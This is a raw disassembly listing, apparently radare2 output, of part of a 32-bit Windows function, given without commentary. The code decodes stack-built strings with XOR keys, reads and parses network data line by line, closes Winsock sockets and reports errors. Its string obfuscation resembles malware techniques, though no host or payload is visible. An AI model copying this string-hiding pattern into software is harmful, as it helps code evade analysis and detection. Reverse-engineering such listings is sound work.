pxor xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x470], xmm1
movaps xmm1, xmmword [ebp - 0x460]
push esi
push eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x4c0], 0x2cfb5903
mov dword [ebp - 0x4bc], 0xcfb55f79
mov dword [ebp - 0x4b8], 0xad6124c8
mov dword [ebp - 0x4b4], 0x9738a288
pxor xmm1, xmmword [ebp - 0x4c0]
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.0044b300
add esp, 0x14
call fcn.0044c3d0
mov ecx, dword [ebp - 0x49c]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp ecx, 0x10
jb 0x45112a
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451120
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
cmp ecx, 0x10
jb 0x45117f
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451175
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
cmp ecx, 0x10
jb 0x45012b
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4511ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
jmp 0x44fcee
cmp dword [ebp - 0x49c], 0x10
lea eax, [ebp - 0x4b0]
push dword [ebp - 0x4a0]
cmovae eax, dword [ebp - 0x4b0]
push eax
push esi
call fcn.0046bc60
add esp, 0xc
mov dword [ebp - 0x618], eax
test eax, eax
jns 0x451446
push eax
push esi
call fcn.0046afb0
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x470], 0xb9bbbaf2
mov dword [ebp - 0x46c], 0x64c61af8
mov dword [ebp - 0x468], 0x3959e1a3
mov dword [ebp - 0x464], 0x861c8894
mov dword [ebp - 0x460], 0xc9f7c23
mov dword [ebp - 0x45c], 0x8ee60851
mov dword [ebp - 0x458], 0xc94404f2
mov dword [ebp - 0x454], 0x9738a8a1
movaps xmm1, xmmword [ebp - 0x470]
mov dword [ebp - 0x4d0], 0xe6f7e9a1
mov dword [ebp - 0x4cc], 0x10af688f
mov dword [ebp - 0x4c8], 0x4b3cc1c6
mov dword [ebp - 0x4c4], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x4d0]
push eax
movaps xmmword [ebp - 0x470], xmm1
lea eax, [ebp - 0x470]
movaps xmm1, xmmword [ebp - 0x460]
mov dword [ebp - 0x4c0], 0x2cfb5903
mov dword [ebp - 0x4bc], 0xcfb55f79
mov dword [ebp - 0x4b8], 0xad6124c8
mov dword [ebp - 0x4b4], 0x9738a288
pxor xmm1, xmmword [ebp - 0x4c0]
push esi
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.0044b300
mov ecx, dword [ebp - 0x49c]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
add esp, 0xc
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp ecx, 0x10
jb 0x451378
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45136e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
cmp ecx, 0x10
jb 0x4513cd
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4513c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
cmp ecx, 0x10
jb 0x45012b
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45141c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
jmp 0x44fcee
push 0x400
lea eax, [ebp - 0x418]
push eax
push esi
call fcn.0046b7d0
add esp, 0xc
mov dword [ebp - 0x608], eax
test eax, eax
je 0x451557
mov edi, 0xa0d
jle 0x45150f
lea esi, [ebp - 0x418]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x451480
mov edx, dword [ebp - 0x434]
sub esi, ecx
mov ecx, dword [ebp - 0x438]
mov eax, edx
sub eax, ecx
push esi
cmp esi, eax
ja 0x4514d4
lea eax, [ecx + esi]
cmp edx, 0x10
mov dword [ebp - 0x438], eax
lea edi, [ebp - 0x448]
cmovae edi, dword [ebp - 0x448]
lea eax, [ebp - 0x418]
add edi, ecx
push eax
push edi
call fcn.005c9520
mov byte [edi + esi], 0
add esp, 0xc
mov edi, 0xa0d
jmp 0x4514f4
lea eax, [ebp - 0x418]
mov byte [ebp - 0x60c], 0
push eax
push dword [ebp - 0x60c]
lea ecx, [ebp - 0x448]
push esi
call fcn.00461c10
mov eax, dword [ebp - 0x608]
mov esi, dword [ebp - 0x614]
cmp eax, 0xa
jle 0x451518
cmp word [ebp + eax - 0x41a], di
je 0x451551
cmp eax, 0xffffffff
je 0x451670
push 0x400
lea eax, [ebp - 0x418]
push 0
push eax
call fcn.005c9aa0
add esp, 0xc
lea eax, [ebp - 0x418]
push 0x400
push eax
push esi
call fcn.0046b7d0
add esp, 0xc
mov dword [ebp - 0x608], eax
test eax, eax
jne 0x45146e
mov edi, dword [ebp - 0x61c]
push dword [ebp - 0x604]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call fcn.0046aa20
add esp, 4
push dword [ebp - 0x610]
call fcn.00469aa0
mov edx, dword [ebp - 0x438]
lea eax, [ebp - 0x448]
add esp, 4
lea ecx, [ebp - 0x448]
cmp dword [ebp - 0x434], 0x10
lea esi, [ebp - 0x448]
cmovae eax, dword [ebp - 0x448]
cmovae ecx, dword [ebp - 0x448]
add eax, edx
cmp dword [ebp - 0x434], 0x10
mov dword [ebp - 0x618], eax
cmovae esi, dword [ebp - 0x448]
cmp esi, eax
je 0x4515e9
sub ecx, esi
mov edi, ecx
movsx eax, byte [esi]
push eax
call fcn.005d6cd4
mov byte [esi + edi], al
add esp, 4
inc esi
cmp esi, dword [ebp - 0x618]
jne 0x4515c5
mov edx, dword [ebp - 0x438]
mov edi, dword [ebp - 0x61c]
cmp dword [ebp - 0x434], 0x10
lea ecx, [ebp - 0x448]
cmovae ecx, dword [ebp - 0x448]
mov dword [ebp - 0x618], ecx
cmp edx, 4
jb 0x4518cc
lea eax, [ecx - 3]
add eax, edx
mov dword [ebp - 0x610], eax
sub eax, ecx
push eax
push 0xd
push ecx
call fcn.005c9c20
mov ecx, eax
add esp, 0xc
test ecx, ecx
je 0x4518c6
nop
mov edx, ecx
mov esi, 0x66fe3c
mov eax, dword [edx]
cmp eax, dword [esi]
je 0x451669
cmp al, byte [esi]
jne 0x45189e
mov al, byte [edx + 1]
cmp al, byte [esi + 1]
jne 0x45189e
mov al, byte [edx + 2]
cmp al, byte [esi + 2]
jne 0x45189e
mov al, byte [edx + 3]
cmp al, byte [esi + 3]
jne 0x45189e
xor eax, eax
jmp 0x4518a3
push dword [ebp - 0x618]
push esi
call fcn.0046afb0
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x470], 0xb9bbbaf2
mov dword [ebp - 0x46c], 0x74ce0dfd
mov dword [ebp - 0x468], 0x394ea4e6
mov dword [ebp - 0x464], 0x9c549589
mov dword [ebp - 0x460], 0x4db3d26
mov dword [ebp - 0x45c], 0xf5f40c2e
mov dword [ebp - 0x458], 0x840501e8
mov dword [ebp - 0x454], 0x9738a282
mov dword [ebp - 0x550], 0xe6f7e9a1
mov dword [ebp - 0x54c], 0x10af688f
mov dword [ebp - 0x548], 0x4b3cc1c6
mov dword [ebp - 0x544], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x550]
pxor xmm1, xmmword [ebp - 0x470]
push eax
movaps xmmword [ebp - 0x470], xmm1
lea eax, [ebp - 0x470]
movaps xmm1, xmmword [ebp - 0x460]
mov dword [ebp - 0x540], 0x2cfb5903
mov dword [ebp - 0x53c], 0xcfb55f79
mov dword [ebp - 0x538], 0xad6124c8
mov dword [ebp - 0x534], 0x9738a288
pxor xmm1, xmmword [ebp - 0x540]
push esi
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.0044b300
mov edi, dword [ebp - 0x61c]
add esp, 0xc
xor ecx, ecx
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
lea edx, [ecx + 1]
mov dword [edi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x451783
sub ecx, edx
push ecx
push 0
mov ecx, edi
call fcn.00461730
mov ecx, dword [ebp - 0x49c]
cmp ecx, 0x10
jb 0x4517d0
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4517c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
cmp ecx, 0x10
jb 0x451825
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45181b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
cmp ecx, 0x10
jb 0x45012b
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451874
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
jmp 0x44fcee
sbb eax, eax
or eax, 1
test eax, eax
je 0x4518fa
mov eax, dword [ebp - 0x610]
inc ecx
sub eax, ecx
push eax
push 0xd
push ecx
call fcn.005c9c20
mov ecx, eax
add esp, 0xc
test ecx, ecx
jne 0x451630
mov edx, dword [ebp - 0x438]
or ecx, 0xffffffff
lea esi, [ecx + 4]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x468], xmm0
cmp edx, esi
jb 0x451d40
jmp 0x451908
sub ecx, dword [ebp - 0x618]
mov edx, dword [ebp - 0x438]
jmp 0x4518cf
sub edx, esi
lea eax, [ebp - 0x448]
or ecx, 0xffffffff
cmp edx, 0xffffffff
cmovb ecx, edx
cmp dword [ebp - 0x434], 0x10
push ecx
cmovae eax, dword [ebp - 0x448]
lea ecx, [ebp - 0x468]
add eax, esi
push eax
call fcn.00461730
mov ecx, dword [ebp - 0x49c]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [ebp - 0x468]
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x458]
movq qword [edi + 0x10], xmm0
cmp ecx, 0x10
jb 0x45199b
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451991
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
cmp ecx, 0x10
jb 0x4519f0
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4519e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
cmp ecx, 0x10
jb 0x45012b
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451a3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
jmp 0x44fcee
mov dword [ebp - 0x430], 0xa7a3a8e7
lea eax, [ebp - 0x430]
mov dword [ebp - 0x42c], 0x42ea48c3
mov dword [ebp - 0x428], 0x716e8e94
mov dword [ebp - 0x424], 0xbc6ee7c6
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x640], 0xe6f7e9a1
mov dword [ebp - 0x63c], 0x10af688f
mov dword [ebp - 0x638], 0x4b3cc1c6
mov dword [ebp - 0x634], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x640]
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x604], 0
lea eax, [ebp - 0x604]
push 0
push 0
push eax
push 0x400
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [ebp - 0x604]
mov dword [ebp - 0x430], 0x889ea5fa
lea eax, [ebp - 0x430]
mov dword [ebp - 0x42c], 0x748a48ea
mov dword [ebp - 0x428], 0x3819e19b
mov dword [ebp - 0x424], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x640], 0xe6f7e9a1
mov dword [ebp - 0x63c], 0x10af688f
mov dword [ebp - 0x638], 0x4b3cc1c6
mov dword [ebp - 0x634], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x640]
push 0x28a
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.0044b300
add esp, 0xc
push dword [ebp - 0x604]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x430], 0xb5a2a8f1
lea eax, [ebp - 0x430]
mov dword [ebp - 0x42c], 0x10af68ca
mov dword [ebp - 0x428], 0x4b3cc1c6
mov dword [ebp - 0x424], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x640], 0xe6f7e9a1
mov dword [ebp - 0x63c], 0x10af688f
mov dword [ebp - 0x638], 0x4b3cc1c6
mov dword [ebp - 0x634], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x640]
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.005d6a9d
mov ecx, dword [ebp - 0x49c]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
add esp, 4
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp ecx, 0x10
jb 0x451c6c
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451c62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
cmp ecx, 0x10
jb 0x451cc1
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451cb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
cmp ecx, 0x10
jb 0x45012b
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451d0c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
jmp 0x44fcee
call fcn.005d228e
call fcn.005d228e
call fcn.00460910
int3